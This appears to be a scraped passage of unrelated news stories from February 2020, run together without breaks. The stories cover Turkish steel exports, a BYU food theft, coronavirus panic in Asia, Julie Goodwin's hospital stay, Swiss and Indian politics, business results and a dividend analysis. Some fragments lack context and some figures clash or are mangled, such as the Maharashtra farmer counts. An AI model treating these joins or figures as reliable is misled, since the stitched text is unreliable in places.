commission to issue a permit for the monument to be repaired in place. Scott Huddleston covers Bexar County government and the Alamo for the San Antonio Express-News. Read him on our free site, mySA.com, and on our subscriber site, ExpressNews.com. | shuddleston@express-news.net | Twitter: @shuddlestonSA BAKU, Azerbaijan, Feb. 21 By Rufiz Hafizoglu - Trend: Turkey's steel exports to Uzbekistan decreased in January 2020, Trend reports with reference to the Turkish Trade Ministry. Turkey steel exports to Uzbekistan exceeded $3.2 million in January 2020, which is 38.72 percent less compared to January 2019. Steel exports from Turkey to Uzbekistan decreased by 14.8 percent in 2019, compared to 2018, and exceeded $56.8 million. Turkey's steel exports to world markets decreased by 4 percent in January 2020, compared to January 2019, and amounted to over $1.1 billion. Steel exports accounted for 7.8 percent of Turkey's total exports in January 2020. Turkey's steel exports exceeded $13.7 billion in the last 12 months (from January 2019 through January 2020), which occupies 7.6 percent of the country's total exports. --- Follow the author on Twitter: @rhafizoglu A student at Brigham Young University in Utah has been arrested after he allegedly used underground tunnels to sneak onto the university campus and steal food. Spencer Taylor was arrested this Tuesday and reportedly charged with a third-degree felony for burglary. Last Sunday, a BYU Culinary Support Center employee was startled when he ran into a male wearing a black mask and black clothing, when the building was locked. When the employee asked the 19-year-old what he was doing, the masked burglar ran away. The authorities later came to the conclusion that Taylor had been using the tunnel system underneath the university to sneak in. On surveillance footage, the teen appeared to be holding a food item in his hand when he fled and returned to the tunnels, according to police reports. Cameras also reportedly captured him accessing a Heritage Hall student housing building. Taylor (who is a current BYU student) was singled out because he had used his card to get into the residential building. On Tuesday, a BYU police officer contacted Taylor and he admitted that he was the suspect who had been confronted in the CSC on Sunday night. Police also said Taylor admitted to using the tunnel system on three occasions in the past month. During two of those times, he stole food products that he later ate at his dorm. Its unknown how much food Taylor allegedly stole or how much its worth, but we cant imagine it was anywhere near as much as his bail, which has been set at $5,000 USD (approx. $7,900 NZD). Presenter Adrian Chiles will be seen helping to steer a boat into Belfast Harbour and getting behind the controls of a crane in the docks on network television tonight. The BBC Two programme Our Coast has an entire episode dedicated to exploring Co Down's shores from Belfast Lough down to Strangford Lough via the Ards Peninsula. The journey starts with Adrian highlighting the work of Belfast's harbour pilots - a team of five captains with 150 years of seafaring experience between them - who dock huge vessels safely on a daily basis. Adrian tells viewers: "Mammoth ships still come in and out of Belfast every day. Docking these big beasts of the ocean safely is a titanic challenge of its own. "Getting them into port is a specialised trade, demanding skills that only an elite group of sailors have. I'm dead excited, I've got to tell you, because I'm going to meet this mysterious body of men possessed of this amazing talent in turbulent seas, clambering aboard huge ships and parking them up in relatively small spaces." Adrian then climbs aboard a ship on a ladder, just like the pilots do, with "no safety harness and a fall could well be fatal, all of which makes the pilot's job one of the most dangerous at sea". After getting on board, he says: "I'm glad I didn't look down before I got up here. It's actually quite hard, I thought it would be easier than that." Expand Close Adrian Chiles visiting Belfast Harbour for BBC Two series Our Coast / Facebook Twitter Email Whatsapp Adrian Chiles visiting Belfast Harbour for BBC Two series Our Coast Co-host Mehreen Baig visits Strangford Lough, the largest sea water inlet in the British Isles, to try kayaking and learn "how the dramatic tides of Strangford Lough are helping stress-test the next generation of renewable energy turbines". We then see marine biologist Dr Tara Shine explore the lough's wildlife with a visit to Portaferry to see injured seals restored to health and returned back to the wild. Next up is the village of Strangford, which Adrian says "has seen another strange breed wash up on its shores - Game Of Thrones fans". He and Mehreen visit Castle Ward, which doubles up as Winterfell in the TV drama, and learn how as well as being worth 250m to our economy, it has become a magnet for tourists. He meets two 'direwolves' - nine-year-old Northern Inuit dogs Odin and Thor, who double up as Summer and Grey Wind in the series - and speaks to their owner William Mulhall, who appeared as an extra as well. The programme heads to Donaghadee, where Helen Skelton finds out about open water swimming, before local comic Shane Todd then shows off his home town of Holywood. Lastly, Adrian is back to Belfast to see the iconic Harland and Wolff cranes, including the largest hydraulic crane in the world, costing nearly 3m, which can lift 50 tons. Our Coast: Co Down is on BBC Two (England) at 8.30pm tonight, and at 11am tomorrow in NI Success! An email has been sent to with a link to confirm list signup. Share this article Whatsapp Facebook Twitter Linkedin (Agence France-Presse) Edinburgh, United Kingdom Fri, February 21, 2020 16:03 691 7f440ff09e92db75a02bbad2065d6539 2 Food Scotland,Gin,carbon-neutral,climate,Britain,environment Free A Scottish distillery on Wednesday launched a climate-friendly gin made from peas, after five years of research found that it removes more carbon dioxide from the environment than it creates. Arbikie Distillery in Inverkeilor, on Scotland's northeast coast, will sell the 4.5 percent spirit under the brand name Nadar, which means "nature" in Gaelic. The manufacturers claim the lemongrass and citrus leaf-enhanced tipple, which is described as having a "fresh and fruity aroma", is a world first. The distillery worked with Abertay University and the James Hutton Institute, both in Dundee, to produce the gin, which has a carbon footprint of -1.54kg CO2e (carbon dioxide equivalent). Agroecologist Pietro Iannetta, from the institute's ecological sciences group, told AFP the environmental footprint of pea gin was "significantly lower" than for traditional wheat gin. Pea gin performed better on 12 of 14 environmental impacts, from climate change, water and air pollution to fossil energy consumption, he added. Read also: Singapore bars Atlas and Manhattan are big winners at Spirited Awards 2019 Results of the study were published in the scientific journal Environment International last year. The scientists worked with distillers to mill and ferment the kernels of dried, de-hulled peas in place of mashed wheat grain. Shrinking the gin's carbon footprint is mainly achieved by turning the residue left after distilling into animal feed. Scientists suggested that using peas in alcohol production could replace soybean imported from Latin America, where cultivation of the product for animal feed is driving deforestation. Peas also have the benefit of being able to source nitrogen, which is critical for plant growth, from the air. This removes the need for synthetic nitrogen fertilizer, which has a negative environmental impact on waterways, air and soils. Source: Xinhua| 2020-02-21 15:36:40|Editor: huaxia Video Player Close SHANGHAI, Feb. 21 (Xinhua) -- Companies from all over the world are actively signing up for the 3rd China International Import Expo (CIIE) via non-contact means amid the epidemic, according to the CIIE bureau. The CIIE bureau, located inside the National Exhibition and Convention Center (Shanghai), was closed to the public due to the novel coronavirus epidemic, so the preparation for the 3rd CIIE was conducted via non-contact means such as phone calls, video calls and emails. Lu Peng, with the Exhibition Department of the National Convention and Exhibition Center (Shanghai), said the department has resumed work since Jan. 31, and completed a large number of data collection, coordination and communication work to ensure exhibitors can get early-bird discounts. "We are able to work from anywhere, even those isolated at home can actively participate in the preparation. Through WeChat, e-mail, telephone, video conference and other forms, we have communicated with nearly 300 enterprises so far," Lu said, adding that the exhibition department also held an online meeting addressing the concerns of the exhibitors over the epidemic. The exhibition department also drafted a letter to all exhibitors and interested enterprises, to strengthen their confidence in participating in the exhibition. Dozens of foreign enterprises successfully signed contracts in early February, covering an area of thousands of square meters. In order to ensure 24-hour bilingual consulting services for businesses, the customer service hotline has increased staffing, while strengthening epidemic control measures, including distributing masks, disinfection, and increasing the spaces between seats, according to Li Renqing with the IT department of the organizer. Statistics showed that from Jan. 16 to Feb. 19, the number of hotline calls totaled 1,351, nearly double compared to the same period last year. Statistics showed that by the end of January, more than 1,000 exhibitors worldwide had signed up to attend the 3rd CIIE, with more than half of the exhibition area occupied. The CIIE is the first dedicated import exhibition in the world and has seen fruitful outcomes in the past two expos. The 3rd CIIE is scheduled to take place in Shanghai from Nov. 5 to 10. TOKYO You might have heard that the fear of a new virus from China is spreading faster than the actual virus. From earnest officials trying to calm a building panic. From your spouse. From the know-it-all who rattles off the many much more likely ways you're going to die: smoking, car accidents, the flu. None of it seems to matter. As the number of cases rise more than 76,000 and counting fear is advancing like a tsunami. And not just in the areas surrounding the Chinese city of Wuhan, the site of the vast majority of coronavirus infections. Subway cars in Tokyo and Seoul look more like hospital wards, with armies of masked commuters shooting dirty looks at the slightest cough or sneeze. A restaurant owner in a South Korean Chinatown says visitors have dropped by 90%. You've probably got a better chance of winning the lottery than buying face masks in parts of Asia. Conferences and events have been disrupted from Beijing to Barcelona to Boston. Quarrels in Japan; riots in Ukraine. Rumors that toilet paper and napkins could be used as masks emptied East Asian store shelves of paper goods. "Fear is a very strong emotion, and the prevailing fear over the new coronavirus drives people to do things irrationally without thinking straight," said Bernie Huang, 31, a high school teacher in Taipei, Taiwan, who resisted the city's now-easing toilet paper buying spree. If you take the long view, panic has marched in lockstep with pandemic for as long as history has been recorded. The plague that devastated Athens in the fifth century BC. The Black Death that eradicated much of Europe in the 14th century. And, more recently, AIDS, Ebola, SARS, MERS, swine and bird flu. Scientists, statisticians and people well away from the line of fire may scoff, but the fear, which is spread by word of mouth and, more rapidly, through online posts, is real. "Fear can do more harm than the virus," Singapore Prime Minister Lee Hsien Loong said in response to panic buying of toilet paper, canned food and instant noodles after the government raised a risk alert over the new virus. It's perhaps most keenly felt in the places where crowds gather: churches, shopping areas, schools. In the Philippines, nearly half of the pews were empty for recent Sunday Masses in many churches. At a Protestant church in northern Seoul, officials switched entirely to online worship after it was found that a virus patient had attended services days before he tested positive. The huge Lotte Department Store in Seoul closed for several days for disinfection after it was found that a Chinese tourist with the virus visited. It reportedly lost about 20 billion won ($16.9 million) in revenue, based on figures by security analysts. A mobile trade fair in Barcelona was canceled. PlayStation maker Sony pulled out of a video game conference in Boston over "increasing concerns" related to the virus. Organizers said the event will go on next week but "with enhanced cleaning." At Namdaemun, Seoul's largest traditional market, businesses saw huge drops in sales after an infected person was found to have visited the area last month. A nurse prepares medicines for patients at Jinyintan Hospital designated for new coronavirus infected patients, in Wuhan in central China's Hubei province. China reported thousands new virus cases and more deaths in its update Tuesday, Feb. 18, 2020 on a disease outbreak that has caused milder illness in most people, an assessment that promoted guarded optimism from global health authorities.Chinatopix via The Associated Press "Merchants say their businesses are now dying," said Chun Yong-bum, head of an association of thousands of merchants at Namdaemun. The South Korean Education Ministry recently issued an advisory to universities to postpone the March start of the upcoming semester because of worries that thousands of Chinese students will return to schools from abroad. South Korean President Moon Jae-in expressed worries that "excessively bloated fear" was hurting South Korea's economy by suppressing public consumption and leisure activities. The most eagerly-awaited gathering in Asia the upcoming Summer Olympics in Tokyo has been beset by fear, too. Although he later backtracked, Tokyo Olympic CEO Toshiro Muto said recently that he was "seriously worried" the virus could disrupt the Olympics and Paralympics. "One thing I am noticing at the moment is fear is spreading quicker than the virus, and it is important that we quell that fear," said Craig Spence, the spokesman for the International Paralympic Committee. In Japan, fear and the virus have intersected most visibly on a huge cruise ship in the port of Yokohama, where thousands of passengers and crew were quarantined for two weeks as hundreds of people on board tested positive for the virus. One quarantined passenger hung a banner that read: "No information ... Stressed. Many bad rumors." The internet foments many of those rumors. In Malaysia, a social media rumor that mandarin oranges carry the virus caused some initial panic until health officials debunked it. When news broke that a journalist who reports on Japan's leader had contact with an infected driver and was in self-quarantine, a web edition of the Weekly Post tabloid magazine declared: "Coronavirus has sent shockwaves to the prime minister's office." READ MORE: Dillsburg couple in Texas, waiting to come home after coronavirus quarantine overseas Fear, and possibly a dark sense of humor, may also help explain some odd behavior: images of people using orange peels as face masks; children in strollers wrapped in what looks like dry cleaning plastic. In Taiwan, people began stocking up on toilet paper and napkins after a rumor on the internet said they could be used as masks to stop the spread of viruses, said Yang Bo-ken, deputy director of the government's Industrial Development Bureau. Taiwan's Criminal Investigation Bureau recommended the prosecution of three women on allegations they used the popular LINE social media service to suggest using table napkins, sanitary napkins and toilet paper as a mask substitute, a bureau spokesperson said. The fear has also led to lawlessness. In Kobe, Japan, 6,000 surgical masks were reported stolen from a hospital. Several hundred residents fearing infection in Ukraine clashed for hours with police as they blocked a road to a building where more than 70 people evacuated from China because of the virus were to be quarantined. Two passengers on a subway in Fukuoka, Japan, quarreled after a man not wearing a mask started coughing, prompting the man next to him to press an emergency alarm, Kyodo News reported. "Fear is spreading among passengers. We plan to promote cough etiquette, such as wearing facial masks," a city transport official told the news agency. In Hong Kong, where people queued up for essential goods outside shops, three people with knives allegedly robbed a deliveryman outside a supermarket of precious toilet rolls reportedly worth more than 1,000 Hong Kong dollars ($128). Governments have not always known how to handle the situation. Eight Samoan citizens were refused entry at the nation's airport and sent back to Fiji reportedly because they'd transited through Singapore, which the government labels a "high risk" country, according to the Samoa Observer. And when a Canadian teen collapsed at a building in Kuala Lumpur, Malaysia, a medical team in hazmat suits arrived. The health ministry later said it was a precautionary measure and the teen was virus free. ___ Foster Klug of The Associated Press wrote this story. AP journalists Kim Tong-hyung, Jung-yoon Kim and Hyung-jin Kim in Seoul, South Korea; Mari Yamaguchi in Tokyo; Ralph Jennings in Taipei, Taiwan; and Eileen Ng in Kuala Lumpur, Malaysia; contributed to this story. Foster Klug is APs News Director for the Koreas, Japan, Australia and the South Pacific. He has covered Asia since 2005. Follow at www.twitter.com/APKlug Former MasterChef winner Julie Goodwin has bravely revealed she was absent from her radio show for the past five weeks because she was staying in a mental health unit. Ms Goodwin wrote a detailed note to listeners of her 'Rabbit and Julie Goodwin' morning radio show on Friday in which she acknowledged going off the radar from her show and also many of her personal commitments. 'Disappearing like this has created difficulty for a lot of people. I have essentially disappeared from my scheduled life, failed to meet my obligations, and I owe an explanation,' Ms Goodwin wrote on the letter posted to her Facebook page. The 49-year-old revealed she has struggled with depression and anxiety 'on-and-off' for many years saying she put a lot of effort into making sure it was not obvious to the people around her. Former MasterChef winner Julie Goodwin has bravely revealed she was absent from her radio show for the past five weeks because she was staying in a mental health unit 'I have never been one of those brave people who can lay these things out in the open for others to look at and comment on,' she wrote. 'But this time around the happy facade didn't just slip a little bit, it fell off and smashed. And I find myself thinking, stuff privacy. Let's talk.' She explained that when she started her 'Julie's Place' cooking school four years ago alongside taking up a breakfast radio show her schedule became packed and she fought hard to stay on top of it. 'I have changed my sleep and social habits, I have exercised and been to see counsellors and hypnotherapists, I have done my level best to keep on juggling and keep all those balls up in the air.' The mother-of-three said six months ago she decided to acknowledge that her mental health was not great and she was professionally diagnosed with depression and anxiety and put on medication. At the end of 2019 Ms Goodwin said she would resign from her Star radio show as of Easter in an attempt to rework her priorities. The former MasterChef winner said around Christmas 2019 a 'whole list of things went wrong' and she 'didn't have the resources to deal with any of it.' She wrote that her depression and anxiety spiraled out of control, she was feeling sick to her stomach, her mouth and nose were covered in stress ulcers, and she couldn't stop shaking. 'Anxiety kept coursing through me like electricity. I felt like I was trapped under a wet woollen blanket and every move was a massive effort.' The 49-year-old revealed she has struggled with depression and anxiety 'on-and-off' for many years saying she put a lot of effort into making sure it was not obvious to others 'My beautiful husband Mick, the person who loves me most, recognised the crisis I was in and took me to the emergency room.' 'I was referred to what's known as the acute care team, who referred me to a psychiatrist, who recommended inpatient care in a mental health unit. And that's where I am, and have been for more than five weeks now.' While she describes the experience as a shock she says she has learned valuable lessons and getting much needed help. 'Be as kind to yourself as you try to be to others,' she says. 'If you're struggling, ask for help. Do it before you can no longer hear the logical voices, the clear and good voices. Do it before it's too hard to see a way forward. If you won't do it for yourself, do it for the ones who love you the most.' Fans have rallied behind Goodwin and shown their support for her candid post. 'Look after yourself Julie and hopefully we will see your face and listen to your voice on some medium in the near future,' wrote on person. Goodwin was thrust into fame after winning the first season of Masterchef in 2009. She has released multiple cookbooks, and appeared on 'I'm a Celebrity... Get Me Out of Here.' She was given a $600 fine and a six-month licence suspension after she was caught drink driving in 2018. For confidential support in Australia contact LIFELINE on 13 11 14 and lifeline.org.au, or Suicide Call Back Service on 1300 659 467. Cunningham, a Vineland native whose work on the House Oversight Committee in Washington, D.C., has shaped congressional action on the vaping industry and other issues, said he was deeply disappointed that Cumberland County has decided to endorse a candidate with no federal government experience and no ties to our community. And Turkavage, who recently switched from Republican to Democrat over his opposition to President Donald Trump, said he was not invited to present his case to the Cumberland Democrats. Cunningham questioned the Democratic committees motives. Folks deserve to know the truth about these endorsement decisions county leaders are being told what to do. In some cases their jobs and well-being is on the line, Cunningham said. They do not want to face retribution for not following orders from the same folks that likely got them their own jobs. To summarize, their hands are tied and the rope that ties them is the machine. The union put out a statement about its endorsement Thursday. Switzerland's president is throwing herself a birthday party for her 60th - and wants those who share the same birth date to come along. Simonetta Sommaruga will hold the bash in the country's capital of Bern on 14 May - her big day - a government statement said. It added that any Swiss citizens who are also celebrating their 60th on the same day "are cordially invited to a little party". The 59-year-old later shared some official invitations on social media, which included a picture of her as a young girl. Translated into English, the invitation reads: "Will you be 60 on 14 May, 2020? "I invite you to celebrate this birthday together on this day!" Those eligible for a place are then directed to a registration form on the Swiss government website, where they are asked to provide some details and a picture of their passport. The government statement warned that places to the event would be limited and said only Swiss citizens could apply. Speaking to Sky News, a Swiss government spokeswoman said the party would be a "small, personal celebration" which would have "one or two cultural elements". She added: "The president of the Swiss Confederation is very busy and lacks the time to organise a big party for family and friends this year. "That's why she had the idea to have a small celebration with others who will get 60 years old on the same day." The spokeswoman said organisers expected to host "a few dozen guests" as she said only 250 Swiss nationals had been born on the same day as Ms Sommaruga. "Some of them are surely on holiday, at work, sick, celebrating privately or otherwise not available on that day," she said. The party will also be paid for by Ms Sommaruga herself, the spokeswoman added. "The main focus is simply to celebrate a happy birthday together." WILMINGTON, Del., Feb. 21, 2020 /PRNewswire/ -- Innovators and entrepreneurs in early-stage technology-based companies are invited to compete in Startup302, a new contest that will award prizes valued at more than $300,000. According to Ariel Gruswitz, director of innovation at Startup302 sponsor Delaware Prosperity Partnership (DPP), tech startups from industries focused on financial and business services, chemistry, bioscience, advanced materials and agriculture may apply. Entrants don't have to be from Delaware, but the top three winners must pledge to establish a business presence in the state to claim their awards. "Startup302 enhances the startup ecosystem in Delaware and the mid-Atlantic region by offering meaningful support for technology-based ventures, encouraging early-stage firm growth and attracting venture funding," Gruswitz said. "We're aiming to attract entrepreneurs from around the world to compete for prizes that will turn startup companies with high growth potential into funded enterprises connected to our region." Prizes for Startup302 winners include a mix of grant-based, investment and in-kind awards with a total value of more than $300,000. All startups who pitch as finalists are guaranteed to receive a $1,000 cash award, and they also will benefit from engagement with investors, industry and key influencers no matter where they ultimately place in the competition. "To get to the final round, entries will be carefully vetted by business leaders and members of the startup community," Gruswitz said. "Some of Delaware's best serial entrepreneurs will do the judging." There is no cost to enter, but the application deadline is March 2. Applicants will be notified of their status by April 1, and finalists will pitch their ventures on May 7. Startup302 will take place at the Chase Center, located along the Wilmington Riverfront as part of Delaware's inaugural neoFest celebration. Spearheaded by the Horn Entrepreneurship program at the University of Delaware, neoFest also is being organized by DPP and other innovation-support organizations such as the Delaware Small Business Development Center, Delaware Innovation Space, Delaware Sustainable Chemistry Alliance, New Castle County Chamber of Commerce, Emerging Enterprise Center, Millennial Summit and Tech Forum of Delaware. The State of Delaware is involved as well. This full-day event will feature an entrepreneurial summit with workshops, networking and opportunities to link up with mentors and others who can help a business grow. It also will include an innovation showcase that will place established and new businesses side by side throughout Governor's Hall and breakout rooms where startup leaders and potential investors can meet to discuss funding opportunities. Hen Hatch, the Horn program's entrepreneurial program for UD students, alumni and staff, is bringing its final round to neoFest as well. The day will conclude with a reception and an awards ceremony. "We're envisioning neoFest as a community-led festival shining a spotlight on all things innovative especially startups and disruptive technologies and creating the conditions for a thriving culture of innovation and entrepreneurship," Gruswitz said. "It truly will be a celebration of what's innovative in Delaware." For further details and to apply, visit https://neofest.org/startup-302. Questions may be addressed to Noah Olson, DPP innovation support manager, at [email protected] or 302-576-6589. About Delaware Prosperity Partnership Created in 2017, Delaware Prosperity Partnership (DPP) is a nonprofit that leads the state of Delaware's economic development efforts to attract, grow and retain businesses; to build a stronger entrepreneurial and innovation ecosystem; and to support private employers in identifying, recruiting and developing talent in the state of Delaware. For more information, visit choosedelaware.com. SOURCE Delaware Prosperity Partnership Related Links http://choosedelaware.com [February 21, 2020] BlueShore Financial Reports Record 2019 Financial Results BlueShore Financial, the first BC credit union sharing 2019 financial results, reports a very strong outcome for 2019 with Assets Under Administration (AUA) reaching $6.3 billion. BlueShore Financial reports a net operating income of $22 million and an increase in AUA greater than 10%. In 2019, BlueShore achieved Return on Retained Earnings (RORE) of over 11%. AUA includes wealth management assets that surpassed $1 billion and grew by 29% during the year. With total loans up $274 million (up 7%), total deposits increasing by $255 million (up 6%), and a 5% dividend on Class C Investment Equity shares, BlueShore's growth is in line with, and in many areas, ahead of its peers. "Our profit has allowed us to both upgrade our retail branch network and invest in our new digital advisor, VirtualWealth, to better serve our clients," said Chris Catliff, President and CEO, BlueShore Financial. "Our commitment to our clients is validated by the 87% of clients surveyed that agree that BlueShore is an expert provider of financial advice, compared to 62% of clients at other financial institutions." "We are very proud to report that BlueShore Financial had a record year in terms of profit from core operations in 2019," said Richard Butterworth, CFO, BlueShore Financial. "We are pleased that despite a very slow residential housing market in 2019, our loan delinquencies were only 0.16%, historically low." "In 2019, not only did BlueShore achieve outstanding financial results, we were also recognized as a Kincentric Best Employer for the ninth consecutive year," said Allan Achtemichuk, Chair of the Board of Directors, BlueShore Financial. "To top off the year, our annual independent survey showed that 88% of clients surveyed agree that BlueShore works with their best interests in mind, compared to 58% of those who bank with other financial institutions. Achievements like this confirm that BlueShore continues to create valuable experiences for both clients and employees." About BlueShore Financial BlueShore Financial is a boutique financial institution providing a full range of personal and business banking, wealth management, insurance and commercial lending solutions. With a branch network located across the Lower Mainland and Sea-to-Sky Corridor, BlueShore Financial helps clients achieve financial wellness through personalized solutions and expert advice, delivered in a unique Financial Spa branch environment. BlueShore Financial manages over $6 billion in Assets Under Administration and is consistently ranked among the top 20 financial planning firms in Metro Vancouver. BlueShore Financial is an Imagine Canada Caring Company, contributing at least 1% of pre-tax profits annually to charities and not-for-profit organizations within the communities it serves. BlueShore Financial is the operating name of BlueShore Financial Credit Union. Follow and connect with us on Facebook, Instagram @blueshorefinancial, LinkedIn or Twitter (News - Alert) @blueshorenews View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005099/en/ [ Back To TMCnet.com's Homepage ] The BJP is likely to corner the Maha Vikas Aghadi (MVA) government over issues like farm distress, crime against women, alleged differences among the ruling allies over transfer of the Elgar Parishad case probe to the NIA, during the Budget session of the state legislature that commences on February 24. The budget session of the state legislature, which generally lasts six weeks, could be around four weeks this time as it is likely to end on March 20. The Uddhav Thackeray-led government will present its maiden budget on March 6. Thackeray and his deputy Ajit Pawar, who is the state Finance Minister, have been holding a series of pre-budget meetings over the last few days. Opposition BJP led by Devendra Fadnavis is likely to corner the three-party dispensation, especially the Shiv Sena, over a host of issues including the Citizenship (Amendment) Act, the National Register of Citizens (NRC) and the National Population Register (NPR), farm loan waiver and spurt in incidents of atrocities against women, political observers said. The government had announced Mahatma Jyotirao Phule Farmer Loan Waiver Scheme during the winter session of the legislature in Nagpur, under which loan of up to Rs two lakh taken between April 1, 2015 and March 31, 2019 and which has not been repaid till September 30, 2019 will be eligible for waiver. However, the BJP says that the farmers were yet to get the benefit of the scheme. The government has said that the money will be transferred to the accounts of the beneficiaries from next week. The BJP has also demanded that farmers who have been affected by unseasonal rains, be provided Rs 25,000 per hectare. A senior minister said if Governor B S Koshyari signs by February 24 the cabinet decision of increasing the limit of contingency fund by Rs 10,000 crore, the loan waiver amount will be directly credited to the bank accounts of about 19 crore farmers, otherwise the implementation will be delayed. About 33 lakh farmers are expected to benefit from this decision. To avail this scheme, Aadhaar card of farmers need to be linked to their bank accounts. The government is expected to introduce a new loan waiver scheme for farmers having more than Rs two lakh loan and another one for farmers who regularly pay their loan dues. Political observers said the BJP is likely to take on the government over the cases of violence against women, including the recent incident in which a woman lecturer died a few days after being set ablaze by a stalker at Hinganghat in Wardha district. The state government is studying the Disha Act of Andhra Pradesh, which provides for completion of trial within 21 days with capital punishment to the guilty. Home Minister Anil Deshmukh has said the government plans to introduce a similar legislation during the budget session. The BJP may also target the Shiv Sena over its stand on the CAA. The Sena had supported the contentious Citizenship Amendment Bill in the Lok Sabha, but staged a walkout when it was discussed in the Rajya Sabha. Uddhav Thackeray has said there was no need to fear the CAA, but asserted that his government will not allow the proposed NRC to be implemented as it would "impact people of all religions". However, Congress and NCP, which are part of the MVA government, have staunchly opposed CAA, NRC andR. The BJP is also planning to corner the government over the discordant voices among the ruling allies on the transfer of the Elgar Parishad case probe to the National Investigation Agency (NIA), the political observers said. The Centre had last month transferred the probe in the case from the Pune Police to the NIA, a move then criticised by the Shiv Sena-NCP-Congress government in the state. However, the government had later changed its stand and said that it had no objection to the NIA taking over the probe into the case, in which human rights activists have been arrested for their alleged Maoist links. Home Minister Anil Deshmukh had said the chief minister has overruled him on the matter. The Shiv Sena-led government has stopped the Jalyukt Shivar, a flaghship scheme of the Fadnavis government, ordered an inquiry into the tree plantation drive under which the previous dispensation claimed to have planted 50 crore trees. The government has also decided to scrap the "Mahapariksha" portal following complaints about irregularities in recruitment process. The government is also reportedly not keen on implementing the big ticket bullet train and hyperloop projects. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Kenneth Kelly is having a great week. Hes taken the helm as grand marshal of the Mobile Area Mardi Gras Association for 2020 and hes presiding over its penultimate event, the Grand Marshals Ball, set for Friday night, Feb. 21, at the Arthur R. Outlaw Mobile Convention Center. And on Saturday evening, he will be inducted into the State of Alabama Engineering Hall of Fame. An Auburn University graduate and electrical engineer, the 52-year-old Kelly will join Mobiles Lonnie Johnson, a renowned inventor and NASA engineer, in the exclusive group of African-American Hall of Fame inductees. Kelly began his professional career at Alabama Power Co., and helped develop residential infrastructure on Dauphin Island before moving to the Southern Company, where he retired after 27 years as a business development manager. Kelly is now chairman and CEO of First Independence Bank, one of the largest African-American controlled commercial banks in the country. Such bona fides are exactly what MAMGA has historically sought in its grand marshals; as gentlemen of distinction, members must be role models first. But Kelly also has legacy appeal through the family of his wife, Kimberly. She is a descendant of MAMGAs first King Elexis I, and his namesake, Alexis Herman. A native of Eufaula, Kellys tenure with Alabama Power brought him to Mobile, where he met his future wife, and the annual celebration at the center of her family. Although they have raised both of their children in Atlanta, bringing them to Mardi Gras is one of their traditions. In 2013, their son and daughter were members of the MAMGA royal court, which gave them tremendous social experiences, and allowed them to tighten their ties with their wider family. One the things thats under-appreciated about Mardi Gras is the sense of family connection and quality time people spend together, Kelly said. Most people focus on the festive things. But what we have really enjoyed is the spirit of family, and extended family. He added, Thats whats very unique about Mardi Gras in Mobile. It was during that 2013 celebration that Kelly, who was already a MAMGA member. started the conversation that eventually led to his selection as grand marshal. He sees the grand marshal post as a terrific opportunity to support future generations. This is a great time to be a part of the festivities and do our best to represent the association, the city of Mobile and, from my perspective, the state of Alabama, Kelly said. One of the ways that hes given back was by hosting a financial symposium for Blount High School students, and the greater community, on Thursday. The event offered a screening of the film HAPI: The Role of Economics on the Development of Civilization, followed by a discussion with Kelly and the films writer/director/producer, Taaqiy Grant. Kelly also seeks to salute the role models whom he looked up to, such as fellow Hall of Famer Lonnie Johnson. Ive had men like him in my life who have fed into me becoming the man I am, Kelly said. It keeps me humbled by recognizing the impact I can have on others. Other than his brief sojourn to Tuscaloosa for the induction ceremony on Saturday, he and his family are in full-on Carnival mode. The Kellys have friends and relatives in Mobile from all over the country, and are enjoying every aspect of the big show. Were in a blessed season of life, he said. Elizabeth Warren has bought ad space in a newspaper owned by Republican mega-donor Sheldon Adelson, taunting the billionaire with an estimate for how much he would pay during the first year of her presidency with her promised 2 per cent wealth tax. Heres how much Sheldon Adelson pays under Elizabeth Warrens wealth tax in the first year: $2,300,000,000, the ad, printed in the Las Vegas Review-Journal, says. With that small wealth tax, we can invest in Nevada families, it continues. Las Vegas Sands boss Sheldon Adelson: AP Ms Warrens ad was printed in the newspaper the morning after she seemed to dominate the Democratic debate in the same city by mounting a full-throated attack on another billionaire, democratic presidential candidate Mike Bloomberg. The debate performance has appeared to bolster her wavering campaign, just days before Nevada's caucuses this weekend and after two relatively weak performances in New Hampshire and Iowa. Ms Warren who said on Thursday that she thought the debate was a lot of fun has since received heavy media coverage on national cable networks, and her campaign has signalled that she saw one of the best fundraising evenings of her campaign as she dominated the debate. The day after the debate, Elizabeth Warren bought a full page ad in Sheldon Adelsons newspaper saying Sheldon Adelson will pay $2.3 billion the first year of her wealth tax. I think thats called chutzpah. pic.twitter.com/dV7O3G8MJu Jon Ralston (@RalstonReports) February 20, 2020 Mr Adelson is the CEO of the Las Vegas Sands, and would fork over around 6 per cent of his wealth to the government, Ms Warrens ad says. The wealth tax she has proposed would impose a 2 per cent tax on wealth over $50m, and 6 per cent on fortunes over $1bn. The Las Vegas Sands executive is a useful target for Democrats, who count him among the leading bogeymen due to his generous giving to Republican causes, including $5m he gave to the presidents inaugural festivities and $80m he gave to the GOP in 2016. Story continues Read more Warren calls Nevada debate 'a lot of fun' after attacking Bloomberg Dividend paying stocks like China Dongxiang (Group) Co., Ltd. (HKG:3818) tend to be popular with investors, and for good reason - some research suggests a significant amount of all stock market returns come from reinvested dividends. Yet sometimes, investors buy a stock for its dividend and lose money because the share price falls by more than they earned in dividend payments. In this case, China Dongxiang (Group) likely looks attractive to investors, given its 5.6% dividend yield and a payment history of over ten years. It would not be a surprise to discover that many investors buy it for the dividends. Some simple analysis can offer a lot of insights when buying a company for its dividend, and we'll go through this below. Explore this interactive chart for our latest analysis on China Dongxiang (Group)! SEHK:3818 Historical Dividend Yield, February 21st 2020 Payout ratios Companies (usually) pay dividends out of their earnings. If a company is paying more than it earns, the dividend might have to be cut. As a result, we should always investigate whether a company can afford its dividend, measured as a percentage of a company's net income after tax. China Dongxiang (Group) paid out 16% of its profit as dividends, over the trailing twelve month period. We like this low payout ratio, because it implies the dividend is well covered and leaves ample opportunity for reinvestment. We also measure dividends paid against a company's levered free cash flow, to see if enough cash was generated to cover the dividend. Unfortunately, while China Dongxiang (Group) pays a dividend, it also reported negative free cash flow last year. While there may be a good reason for this, it's not ideal from a dividend perspective. With a strong net cash balance, China Dongxiang (Group) investors may not have much to worry about in the near term from a dividend perspective. Consider getting our latest analysis on China Dongxiang (Group)'s financial position here. Dividend Volatility Before buying a stock for its income, we want to see if the dividends have been stable in the past, and if the company has a track record of maintaining its dividend. For the purpose of this article, we only scrutinise the last decade of China Dongxiang (Group)'s dividend payments. This dividend has been unstable, which we define as having been cut one or more times over this time. During the past ten-year period, the first annual payment was CN0.075 in 2010, compared to CN0.041 last year. The dividend has shrunk at around 